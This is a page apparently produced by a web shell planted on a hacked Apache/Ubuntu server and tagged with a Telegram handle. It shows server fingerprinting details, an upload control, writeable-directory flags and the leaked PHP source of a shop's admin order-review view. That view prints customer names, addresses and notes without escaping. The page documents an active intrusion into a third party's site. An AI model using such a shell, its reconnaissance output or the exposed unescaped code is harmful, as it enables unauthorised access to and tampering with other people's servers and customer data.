https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/views/admin/orders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/views/admin/orders/ajax_modal_review.php
<div class="modal-header">
  <p class="modal-title" id="previewModalLabel">Order ID: <?= $order->id_orders; ?>.&nbsp;&nbsp;&nbsp;Customer: <strong><?= $order->recipient_name; ?></strong>&nbsp;&nbsp;&nbsp;Order Date: <?= date('d M Y', strtotime($order->order_date)); ?>&nbsp;&nbsp;&nbsp;<span style="padding:5px; border:1px solid black;">Status: 
  <?php 
  //get order status
  switch ($order->payment_status) {
    case 0:
      echo 'Not Paid';
      break;
    case 1:
      echo 'Paid';
      break;  
    case 2:
      echo 'Cancel';
      break; 
    case 4:
      echo 'Packed';
      break;    
    case 4:
      echo 'Product Sent';
      break;       
  }
  ?>
  <span></p>
  <button type="button" class="close" data-dismiss="modal" aria-label="Close">
    <span aria-hidden="true">&times;</span>
  </button>
</div>
<div class="modal-body">
  <table class='table'>
      <thead>
          <tr>
              <th>Product</th>
              <th></th>
              <th style="width:30%">Address</th>
              <th>Disc<br>(Redeem Poin)</th>
              <th>Courier</th>
              <th>Total Price</th>
          </tr>
      </thead>  
      <tbody>
          <tr>
              <td>
                <table class="table">
                  <?php foreach ($order_detail as $detail) : ?>
                    <tr>
                      <td>
                      <?php
                        //get image
                        $image = $this->db->select('image1')->from('products')->where('id_products', $detail->item_id)->get()->row()->image1;  
                      ?>  
                      <img src="<?= base_url() . 'uploads/product/thumbnail/' . $image; ?>" alr="product" />
                      </td>
                      <td>
                        <strong><?= $detail->item_name; ?></strong>
                        <br>
                        <?php
                        //get id product size
                        $id_product_size = $this->db->select('id_product_size')->from('product_size')->where('product_size', $detail->size)->get()->row()->id_product_size;
                        
                        //get weight
                        $weight = $this->db->select('weight')->from('stocks')->where('product_id', $detail->item_id)->where('size_id', $id_product_size)->get()->row()->weight;
                        ?>
                        <?= $detail->quantity;?> item (<?=  $weight * $detail->quantity / 1000;?> Kg) @ Rp. <?= number_format($detail->item_price);?>
                      </td>
                    </tr>
                  <?php endforeach; ?>
                  <tr>
                     <td colspan='2'>
                      <hr>
                      <strong>Customer Note:</strong>
                      <br>
                      <?php if(!empty($order->customer_note)) : ?>
                        <?= $order->customer_note; ?>  
                      <?php else : ?>
                        None
                      <?php endif; ?>
                     </td>   
                  </tr>
                </table>
              </td>
              <td></td>
              <td>
                <?= ucwords($order->recipient_name); ?><br>          
                <?= $order->address; ?><br>
                <?php if(!empty($order->subdistrict)) : ?>
                  <?= $order->subdistrict . ' '; ?> 
                <?php endif; ?>
                <?= $order->district . ' '; ?>. <?= $order->province; ?> 
                <br>
                Postcode: <?= $order->postcode; ?>
                <br> 
                Hp: <?= $order->phone; ?> 
              </td>
              <td>
                Rp <?= number_format($order->discount_redeem); ?>
              </td>
              <td>
                <?= $order->shipping_type; ?><br>
                Rp <?= number_format($order->shipping_fee); ?>
              </td>
              <td><strong>Rp <?= number_format($order->total_amount); ?></strong></td>
          </tr>
      </tbody> 
  </table> 
</div>

https://t.me/RX1948 - 2025